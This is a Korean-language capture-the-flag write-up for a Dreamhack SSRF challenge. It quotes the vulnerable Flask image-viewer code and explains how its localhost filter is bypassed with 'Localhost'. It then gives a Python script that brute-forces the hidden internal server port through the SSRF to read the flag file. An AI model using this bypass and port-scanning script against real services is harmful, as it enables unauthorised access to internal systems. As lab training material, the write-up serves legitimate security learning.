https://dreamhack.io/wargame/challenges/75

이 문제는 SSRF 취약점을 이용해 /app/flag.txt에 있는 플래그를 획득하는 문제이다.

url이라는 곳을 보면 이미지를 올릴 수 있는 텍스트 입력 창이 나온다.
저기서 바로 View 버튼을 클릭해보면

다음과 같이 드림핵 로고 이미지가 나오게 된다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
GET 요청으로 사이트의 html을 불러온다.
POST 요청으로 url을 입력받는다.
만약 입력받은 url의 시작이 /으로 시작하지 않고, localhost, 127.0.0.1가 들어있으면 error.png 이미지를 화면에 띄운다.

/으로 시작한다면 url에 로컬호스트:8000/url으로 저장한다.
그 후, url에 있는 것을 받아와서 base64로 인코딩하고 utf8로 디코딩하여 화면에 띄운다.
만약 실패하였다면 error.png을 화면에 띄운다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
1500번부터 1800번까지 임의의 포트를 지정하여 127.0.0.1:임의포트의 서버를 만든다.
쓰레드에서 만든 임의포트의 서버를 실행시킨다.
해당 문제는 img_viewer는 서버 주소에 “127.0.0.1”, “localhost”이 포함된 URL로의 접근을 막는다. 이를 우회하면 SSRF를 통해 내부 HTTP 서버에 접근할 수 있다.
우회하기 위해서는 위에서 만든 서버의 포트 번호를 찾아내야한다. 1500번부터 1800번까지 랜덤으로 주어지므로 파이썬 스크립트를 만들어 포트를 찾는다.
추가적으로 localhost, 127.0.0.1을 사용못하게 막아놨지만 Localhost로 간단하게 우회할 수 있다.
import requests
for i in range(1500,1800):
data={"url": f"http://Localhost:"+str(i)+"/flag.txt"}
request=requests.post("http://host1.dreamhack.games:17163/img_viewer",data).text
if "iVBORw0KGgoAA" in request:
print(i)
else:
print("포트:",{i})
print(request)
break
위의 코드를 사용해서 부르트포스하여 포트 번호를 알아낸다.
위 코드는 1500번 부터 1800번까지의 포트를 순차적으로 돌아 error.png가 아닌 아닌걸 post하면 그만돌고 그 결과를 내놓는 스크립트이다.

출력된 값중 base64로 인코딩된 텍스트를 찾아 디코더로 변환하면 플래그를 획득할 수 있다.
